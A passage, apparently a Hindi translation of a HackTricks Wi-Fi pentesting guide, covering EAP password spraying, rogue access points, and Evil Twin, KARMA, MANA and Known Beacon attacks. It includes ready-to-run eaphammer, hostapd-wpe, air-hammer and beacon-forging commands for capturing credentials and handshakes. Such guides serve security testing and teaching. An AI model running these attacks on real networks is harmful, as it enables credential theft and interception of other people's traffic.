उपयोगकर्ता को प्रमाणीकरण करने के लिए भी जिम्मेदार है, तो अब यह उपयोगकर्ता की पहचान रखता है और TLS टनल द्वारा सुरक्षित प्रमाणीकरण विधि के साथ आगे बढ़ता है। वैकल्पिक रूप से, PEAP/TTLS सर्वर उपयोगकर्ता के होम RADIUS सर्वर को एक नया RADIUS अनुरोध अग्रेषित कर सकता है। यह नया RADIUS अनुरोध PEAP या TTLS प्रोटोकॉल परत को छोड़ देता है। उन मामलों में जहां सुरक्षित प्रमाणीकरण विधि EAP है, आंतरिक EAP संदेशों को होम RADIUS सर्वर पर EAP-PEAP या EAP-TTLS आवरण के बिना भेजा जाता है। आउटगोइंग RADIUS संदेश की User-Name विशेषता उपयोगकर्ता की वास्तविक पहचान को शामिल करती है, जो आने वाले RADIUS अनुरोध से गुमनाम User-Name को प्रतिस्थापित करती है। जब सुरक्षित प्रमाणीकरण विधि PAP या CHAP (जो केवल TTLS द्वारा समर्थित है) होती है, तो TLS पेलोड से निकाली गई User-Name और अन्य प्रमाणीकरण विशेषताएँ आउटगोइंग RADIUS संदेश में प्रतिस्थापित की जाती हैं, जो आने वाले RADIUS अनुरोध में पाए गए गुमनाम User-Name और TTLS EAP-Message विशेषताओं को विस्थापित करती हैं। अधिक जानकारी के लिए देखें [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) ### EAP-Bruteforce (password spray) यदि क्लाइंट से **username और password** का उपयोग करने की अपेक्षा की जाती है (ध्यान दें कि इस मामले में **EAP-TLS मान्य नहीं होगा**), तो आप **usernames** (अगले भाग को देखें) और **passwords** की एक **सूची** प्राप्त करने की कोशिश कर सकते हैं और **bruteforce** का उपयोग करके एक्सेस करने का प्रयास कर सकते हैं [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` आप इस हमले को `eaphammer` का उपयोग करके भी कर सकते हैं: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --essid example-wifi \ --password bananas \ --user-list users.txt ``` ## Client attacks Theory ### Network Selection and Roaming - 802.11 प्रोटोकॉल यह परिभाषित करता है कि एक स्टेशन Extended Service Set (ESS) में कैसे शामिल होता है, लेकिन यह ESS या इसके भीतर किसी access point (AP) को चुनने के लिए मानदंड निर्दिष्ट नहीं करता है। - स्टेशन एक ही ESSID साझा करने वाले APs के बीच घूम सकते हैं, जिससे एक भवन या क्षेत्र में कनेक्टिविटी बनाए रखी जा सके। - प्रोटोकॉल ESS के लिए स्टेशन प्रमाणीकरण की आवश्यकता करता है लेकिन स्टेशन के लिए AP प्रमाणीकरण अनिवार्य नहीं करता है। ### Preferred Network Lists (PNLs) - स्टेशन अपने Preferred Network List (PNL) में हर वायरलेस नेटवर्क का ESSID संग्रहीत करते हैं, जिसमें नेटवर्क-विशिष्ट कॉन्फ़िगरेशन विवरण भी शामिल होते हैं। - PNL का उपयोग ज्ञात नेटवर्क से स्वचालित रूप से कनेक्ट करने के लिए किया जाता है, जिससे उपयोगकर्ता के अनुभव में सुधार होता है और कनेक्शन प्रक्रिया को सरल बनाया जाता है। ### Passive Scanning - APs समय-समय पर बीकन फ़्रेम प्रसारित करते हैं, अपनी उपस्थिति और विशेषताओं की घोषणा करते हैं, जिसमें AP का ESSID शामिल होता है जब तक कि प्रसारण बंद न किया गया हो। - पैसिव स्कैनिंग के दौरान, स्टेशन बीकन फ़्रेम के लिए सुनते हैं। यदि किसी बीकन का ESSID स्टेशन के PNL में किसी प्रविष्टि से मेल खाता है, तो स्टेशन स्वचालित रूप से उस AP से कनेक्ट हो सकता है। - किसी डिवाइस के PNL का ज्ञान संभावित शोषण की अनुमति देता है, एक ज्ञात नेटवर्क के ESSID की नकल करके, डिवाइस को एक धोखाधड़ी AP से कनेक्ट करने के लिए धोखा देना। ### Active Probing - सक्रिय प्रॉबिंग में स्टेशन पास के APs और उनकी विशेषताओं का पता लगाने के लिए प्रॉब अनुरोध भेजते हैं। - निर्देशित प्रॉब अनुरोध एक विशिष्ट ESSID को लक्षित करते हैं, यह पता लगाने में मदद करते हैं कि क्या कोई विशेष नेटवर्क रेंज में है, भले ही यह एक छिपा हुआ नेटवर्क हो। - प्रसारण प्रॉब अनुरोध में एक शून्य SSID फ़ील्ड होती है और इन्हें सभी नजदीकी APs को भेजा जाता है, जिससे स्टेशन बिना अपने PNL की सामग्री का खुलासा किए किसी भी पसंदीदा नेटवर्क की जांच कर सके। ## Simple AP with redirection to Internet जटिल हमलों को करने के तरीके को समझाने से पहले यह समझाया जाएगा **कैसे** केवल **एक** **AP** **बनाएं** और **इसके** **ट्रैफ़िक** को **इंटरनेट** से जुड़े **इंटरफेस** पर **रीडायरेक्ट** करें। `ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़े इंटरफेस मौजूद हैं। ### DHCP & DNS ```bash apt-get install dnsmasq #Manages DHCP and DNS ``` `/etc/dnsmasq.conf` फ़ाइल बनाएँ: ```ini interface=wlan0 dhcp-authoritative dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h dhcp-option=3,192.168.1.1 dhcp-option=6,192.168.1.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 ``` फिर **IP** और **routes** सेट करें: ```bash ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` और फिर **शुरू करें** dnsmasq: ```bash dnsmasq -C dnsmasq.conf -d ``` ### hostapd ```bash apt-get install hostapd ``` `hostapd.conf` फ़ाइल बनाएँ: ```ini interface=wlan0 driver=nl80211 ssid=MITIWIFI hw_mode=g channel=11 macaddr_acl=0 ignore_broadcast_ssid=0 auth_algs=1 wpa=2 wpa_passphrase=mitmwifi123 wpa_key_mgmt=WPA-PSK wpa_pairwise=CCMP wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` **निराशाजनक प्रक्रियाओं को रोकें**, **मॉनिटर मोड सेट करें**, और **hostapd शुरू करें**: ```bash airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up hostapd ./hostapd.conf ``` ### अग्रेषण और पुनर्निर्देशन ```bash iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## Evil Twin एक ईविल ट्विन अटैक WiFi क्लाइंट्स द्वारा नेटवर्क को पहचानने के तरीके का लाभ उठाता है, जो मुख्य रूप से नेटवर्क नाम (ESSID) पर निर्भर करता है बिना बेस स्टेशन (एक्सेस पॉइंट) को क्लाइंट के लिए प्रमाणित किए। मुख्य बिंदुओं में शामिल हैं: - **भेदभाव में कठिनाई**: उपकरणों के लिए वैध और धोखाधड़ी एक्सेस पॉइंट्स के बीच अंतर करना मुश्किल होता है जब वे समान ESSID और एन्क्रिप्शन प्रकार साझा करते हैं। वास्तविक दुनिया के नेटवर्क अक्सर कवरेज को निर्बाध रूप से बढ़ाने के लिए समान ESSID के साथ कई एक्सेस पॉइंट्स का उपयोग करते हैं। - **क्लाइंट रोमिंग और कनेक्शन हेरफेर**: 802.11 प्रोटोकॉल उपकरणों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच रोमिंग करने की अनुमति देता है। हमलावर इसका लाभ उठाकर एक उपकरण को उसके वर्तमान बेस स्टेशन से डिस्कनेक्ट करने और एक धोखाधड़ी वाले से कनेक्ट करने के लिए लुभा सकते हैं। यह एक मजबूत सिग्नल प्रदान करके या वैध एक्सेस पॉइंट के साथ कनेक्शन को बाधित करके जैसे कि डिअथेंटिकेशन पैकेट्स या जैमिंग के माध्यम से किया जा सकता है। - **निष्पादन में चुनौतियाँ**: कई, अच्छी तरह से रखे गए एक्सेस पॉइंट्स वाले वातावरण में ईविल ट्विन अटैक को सफलतापूर्वक निष्पादित करना चुनौतीपूर्ण हो सकता है। एकल वैध एक्सेस पॉइंट को डिअथेंटिकेट करने से अक्सर उपकरण को एक अन्य वैध एक्सेस पॉइंट से कनेक्ट करने का परिणाम होता है जब तक कि हमलावर सभी निकटवर्ती एक्सेस पॉइंट्स को डिअथेंटिकेट नहीं कर सकता या धोखाधड़ी एक्सेस पॉइंट को रणनीतिक रूप से नहीं रख सकता। आप एक बहुत बुनियादी ओपन ईविल ट्विन (इंटरनेट पर ट्रैफिक रूट करने की क्षमताओं के बिना) बना सकते हैं: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` आप **eaphammer** का उपयोग करके एक Evil Twin भी बना सकते हैं (ध्यान दें कि eaphammer के साथ evil twins बनाने के लिए इंटरफेस **monitor** मोड में **नहीं होना चाहिए**): ```bash ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` या Airgeddon का उपयोग करते समय: `Options: 5,6,7,8,9 (Evil Twin अटैक मेनू के अंदर)।` ![](<../../images/image (1088).png>) कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में एक ESSID WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप असली AP को DoS करने की कोशिश कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन ईविल ट्विन से कनेक्ट करेगा, या आप असली AP को DoS कर सकते हैं और हैंडशेक कैप्चर करने के लिए WPA ईविल ट्विन का उपयोग कर सकते हैं (इस विधि का उपयोग करते समय आप पीएसके नहीं जानते हैं, इसलिए आप पीड़ित को अपने साथ कनेक्ट नहीं करवा सकते, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)। _कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि ओपन नेटवर्क से कनेक्ट करना खतरनाक है..._ ### WPA/WPA2 ईविल ट्विन आप **WPA/2 का उपयोग करके एक ईविल ट्विन** बना सकते हैं और यदि डिवाइस उस SSID से WPA/2 के साथ कनेक्ट करने के लिए कॉन्फ़िगर किए गए हैं, तो वे कनेक्ट करने की कोशिश करेंगे। किसी भी तरह, **4-वे-हैंडशेक को पूरा करने के लिए** आपको **जानना** होगा कि **क्लाइंट** किस **पासवर्ड** का उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**। ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` ### Enterprise Evil Twin इस हमले को समझने के लिए, मैं पहले संक्षिप्त [WPA Enterprise explanation](#wpa-enterprise-mgt) पढ़ने की सिफारिश करूंगा। **Using hostapd-wpe** `hostapd-wpe` को काम करने के लिए एक **configuration** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशन के निर्माण को **automate** करने के लिए, आप [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) का उपयोग कर सकते हैं (/_/etc/hostapd-wpe/_ के अंदर python फ़ाइल डाउनलोड करें)। ```bash ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` कॉन्फ़िगरेशन फ़ाइल में आप कई विभिन्न चीज़ें चुन सकते हैं जैसे ssid, चैनल, उपयोगकर्ता फ़ाइलें, क्रेट/की, dh पैरामीटर, wpa संस्करण और प्रमाणीकरण... [**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन करने की अनुमति देना।**](evil-twin-eap-tls.md) **EAPHammer का उपयोग करना** ```bash # Generate Certificates ./eaphammer --cert-wizard # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उद्देश्य रखता है (ध्यान दें कि GTC पहले प्रयास के रूप में स्पष्ट पासवर्ड प्राप्त करने के लिए है और फिर अधिक मजबूत प्रमाणीकरण विधियों का उपयोग किया जाता है): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` यह लंबे कनेक्शन समय से बचने के लिए डिफ़ॉल्ट पद्धति है। हालाँकि, आप सर्वर को प्रमाणीकरण विधियों को सबसे कमजोर से सबसे मजबूत तक निर्दिष्ट करने के लिए भी कह सकते हैं: ``` --negotiate weakest ``` या आप निम्नलिखित का भी उपयोग कर सकते हैं: - `--negotiate gtc-downgrade` का उपयोग करके अत्यधिक कुशल GTC डाउनग्रेड कार्यान्वयन (plaintext passwords) का उपयोग करें। - `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` का उपयोग करके मैन्युअल रूप से प्रस्तावित विधियों को निर्दिष्ट करें (हमले के लिए संगठन के समान क्रम में वही प्रमाणीकरण विधियाँ प्रदान करने से हमले का पता लगाना बहुत अधिक कठिन हो जाएगा)। - [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) **Airgeddon का उपयोग करना** `Airgeddon` पहले से उत्पन्न प्रमाणपत्रों का उपयोग करके WPA/WPA2-Enterprise नेटवर्क के लिए EAP प्रमाणीकरण प्रदान कर सकता है। नकली नेटवर्क कनेक्शन प्रोटोकॉल को EAP-MD5 में डाउनग्रेड करेगा ताकि यह **उपयोगकर्ता और पासवर्ड का MD5 कैप्चर कर सके**। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\ `Airgeddon` आपको **निरंतर Evil Twin हमले (noisy)** या **केवल तब तक Evil Attack बनाने की संभावना प्रदान करता है जब तक कोई कनेक्ट न हो (smooth)**। ![](<../../images/image (936).png>) ### Evil Twins हमलों में PEAP और EAP-TTLS TLS टनल का डिबगिंग _यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमाने TLS टनल को डिक्रिप्ट कर रहा हूँ, यह EAP-TTLS के साथ भी काम करना चाहिए_ **hostapd-wpe** की **कॉन्फ़िगरेशन** के अंदर _**dh_file**_ वाली पंक्ति को **comment** करें (from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\ यह `hostapd-wpe` को **RSA का उपयोग करके कुंजी का आदान-प्रदान** करने के लिए बनाएगा, ताकि आप बाद में **ट्रैफ़िक को डिक्रिप्ट** कर सकें **सर्वर की निजी कुंजी को जानकर**। अब **Evil Twin** को **`hostapd-wpe`** का उपयोग करके उस संशोधित कॉन्फ़िगरेशन के साथ सामान्य रूप से शुरू करें। इसके अलावा, **`wireshark`** को उस **इंटरफेस** में शुरू करें जो Evil Twin हमले को अंजाम दे रहा है। अब या बाद में (जब आपने पहले से कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हैं) आप wireshark में निजी RSA कुंजी जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` एक नया प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी कुंजी फ़ाइल का चयन करें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल **बिना पासवर्ड सुरक्षित** के चुनें)। ![](<../../images/image (687).png>) और नए **"Decrypted TLS" टैब** पर नज़र डालें: ![](<../../images/image (231).png>) ## KARMA, MANA, Loud MANA और ज्ञात बीकन हमले ### ESSID और MAC काली/सफेद सूचियाँ मीडिया एक्सेस कंट्रोल फ़िल्टर सूचियों (MFACLs) के विभिन्न प्रकार और एक धोखाधड़ी एक्सेस पॉइंट (AP) के व्यवहार पर उनके संबंधित मोड और प्रभाव: 1. **MAC-आधारित व्हाइटलिस्ट**: - धोखाधड़ी AP केवल व्हाइटलिस्ट में निर्दिष्ट उपकरणों से प्रॉब अनुरोधों का उत्तर देगा, अन्य सभी के लिए अदृश्य रहेगा। 2. **MAC-आधारित ब्लैकलिस्ट**: - धोखाधड़ी AP ब्लैकलिस्ट में उपकरणों से प्रॉब अनुरोधों की अनदेखी करेगा, प्रभावी रूप से उन विशिष्ट उपकरणों के लिए धोखाधड़ी AP को अदृश्य बना देगा। 3. **SSID-आधारित व्हाइटलिस्ट**: - धोखाधड़ी AP केवल विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जिनकी पसंदीदा नेटवर्क सूचियों (PNLs) में वे ESSIDs नहीं हैं। 4. **SSID-आधारित ब्लैकलिस्ट**: - धोखाधड़ी AP ब्लैकलिस्ट में विशिष्ट ESSIDs के लिए प्रॉब अनुरोधों का उत्तर नहीं देगा, जिससे यह उन उपकरणों के लिए अदृश्य हो जाएगा जो उन विशेष नेटवर्कों की तलाश कर रहे हैं। ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af 37:ab:46:7a:9a:7c c7:36:8c:b2:*:* [--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting] [--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting] ``` ```bash # example ESSID-based MFACL file name1 name2 name3 [--ssid-whitelist /path/to/mac/whitelist/file.txt] [--ssid-blacklist /path/to/mac/blacklist/file.txt] ``` ### KARMA यह विधि एक **हमलावर को एक दुर्भावनापूर्ण एक्सेस पॉइंट (AP) बनाने की अनुमति देती है जो नेटवर्क से कनेक्ट करने की कोशिश कर रहे उपकरणों से सभी प्रॉब अनुरोधों का उत्तर देती है**। यह तकनीक **उपकरणों को हमलावर के AP से कनेक्ट करने के लिए धोखा देती है** जो उपकरणों द्वारा खोजे जा रहे नेटवर्क की नकल करती है। एक बार जब एक उपकरण इस धोखेबाज़ AP को कनेक्शन अनुरोध भेजता है, तो यह कनेक्शन पूरा करता है, जिससे उपकरण गलती से हमलावर के नेटवर्क से कनेक्ट हो जाता है। ### MANA फिर, **उपकरणों ने असंगत नेटवर्क प्रतिक्रियाओं की अनदेखी करना शुरू कर दिया**, जिससे मूल कर्मा हमले की प्रभावशीलता कम हो गई। हालाँकि, एक नई विधि, जिसे **MANA हमले** के रूप में जाना जाता है, को इयान डी विलियर्स और डोमिनिक व्हाइट द्वारा पेश किया गया। यह विधि धोखेबाज़ AP **उपकरणों से प्रेफर्ड नेटवर्क सूचियों (PNL) को उनके प्रसारित प्रॉब अनुरोधों का उत्तर देकर कैप्चर करती है** जिसमें पहले से उपकरणों द्वारा ठोस नेटवर्क नाम (SSIDs) होते हैं। यह जटिल हमला मूल कर्मा हमले के खिलाफ सुरक्षा को बायपास करता है, उपकरणों द्वारा ज्ञात नेटवर्क को याद रखने और प्राथमिकता देने के तरीके का लाभ उठाकर। MANA हमला उपकरणों से निर्देशित और प्रसारित प्रॉब अनुरोधों की निगरानी करके काम करता है। निर्देशित अनुरोधों के लिए, यह उपकरण के MAC पते और अनुरोधित नेटवर्क नाम को रिकॉर्ड करता है, इस जानकारी को एक सूची में जोड़ता है। जब एक प्रसारित अनुरोध प्राप्त होता है, तो AP उस सूची में किसी भी नेटवर्क से मेल खाने वाली जानकारी के साथ उत्तर देता है, जिससे उपकरण को धोखेबाज़ AP से कनेक्ट करने के लिए आकर्षित किया जाता है। ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` ### Loud MANA A **Loud MANA attack** एक उन्नत रणनीति है जब उपकरण निर्देशित प्रॉबिंग का उपयोग नहीं करते हैं या जब उनके प्रेफर्ड नेटवर्क लिस्ट (PNL) हमलावर के लिए अज्ञात होते हैं। यह इस सिद्धांत पर काम करता है कि **एक ही क्षेत्र में उपकरणों के PNL में कुछ नेटवर्क नाम साझा करने की संभावना होती है**। चयनात्मक रूप से प्रतिक्रिया देने के बजाय, यह हमला सभी अवलोकित उपकरणों के संयुक्त PNL में पाए गए प्रत्येक नेटवर्क नाम (ESSID) के लिए प्रॉब प्रतिक्रियाएँ प्रसारित करता है। यह व्यापक दृष्टिकोण एक उपकरण के लिए एक परिचित नेटवर्क को पहचानने और धोखाधड़ी वाले एक्सेस पॉइंट (AP) से कनेक्ट करने का प्रयास करने की संभावना को बढ़ाता है। ```bash ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` ### Known Beacon attack जब **Loud MANA attack** पर्याप्त नहीं हो सकता, **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **किसी भी नेटवर्क नाम का उत्तर देने वाले AP का अनुकरण करके कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित करती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है। Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहाँ सूची के अंदर सभी ESSIDs को चार्ज किया जाता है (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं): ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` **Known Beacon Burst attack** **Known Beacon Burst attack** में **एक फ़ाइल में सूचीबद्ध प्रत्येक ESSID के लिए बेकन फ़्रेम का तेज़ी से प्रसारण करना** शामिल है। यह नकली नेटवर्क का एक घना वातावरण बनाता है, जिससे उपकरणों के धोखाधड़ी AP से कनेक्ट होने की संभावना बहुत बढ़ जाती है, विशेष रूप से जब इसे MANA हमले के साथ मिलाया जाता है। यह तकनीक गति और मात्रा का लाभ उठाकर उपकरणों के नेटवर्क चयन तंत्र को अभिभूत करती है। ```bash # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ --bssid de:ad:be:ef:13:37 \ --known-essids-file known-s.txt \ --dst-addr 11:22:33:11:22:33 \ --burst-count 5 ``` ## Wi-Fi Direct **Wi-Fi Direct** एक प्रोटोकॉल है जो उपकरणों को पारंपरिक वायरलेस एक्सेस पॉइंट की आवश्यकता के बिना सीधे एक-दूसरे से लिंक करने की अनुमति देता है। यह क्षमता विभिन्न इंटरनेट ऑफ थिंग्स (IoT) उपकरणों, जैसे प्रिंटर और टेलीविज़न में एकीकृत है, जो सीधे उपकरण-से-उपकरण संचार को सुविधाजनक बनाती है। Wi-Fi Direct की एक महत्वपूर्ण विशेषता यह है कि एक उपकरण एक एक्सेस पॉइंट की भूमिका निभाता है, जिसे समूह मालिक के रूप में जाना जाता है, जो कनेक्शन का प्रबंधन करता है। Wi-Fi Direct कनेक्शनों के लिए सुरक्षा **Wi-Fi Protected Setup (WPS)** के माध्यम से स्थापित की जाती है, जो सुरक्षित पेयरिंग के लिए कई विधियों का समर्थन करती है, जिसमें शामिल हैं: - **Push-Button Configuration (PBC)** - **PIN entry** - **Near-Field Communication (NFC)** ये विधियाँ, विशेष रूप से PIN entry, पारंपरिक Wi-Fi नेटवर्क में WPS के समान कमजोरियों के प्रति संवेदनशील हैं, जिससे ये समान हमले के लक्ष्यों बन जाते हैं। ### EvilDirect Hijacking **EvilDirect Hijacking** एक ऐसा हमला है जो विशेष रूप से Wi-Fi Direct के लिए है। यह Evil Twin हमले के सिद्धांत को दर्शाता है लेकिन Wi-Fi Direct कनेक्शनों को लक्षित करता है। इस परिदृश्य में, एक हमलावर एक वैध समूह मालिक का अनुकरण करता है जिसका उद्देश्य उपकरणों को एक दुर्भावनापूर्ण इकाई से कनेक्ट करने के लिए धोखा देना है। इस विधि को `airbase-ng` जैसे उपकरणों का उपयोग करके निष्पादित किया जा सकता है, जिसमें अनुकरण किए गए उपकरण का चैनल, ESSID और MAC पता निर्दिष्ट किया जाता है: ## References - [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) - [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) - [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) - [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) - [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) - [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) - [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) - [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) - [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)]() - [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals) {{#include ../../banners/hacktricks-training.md}}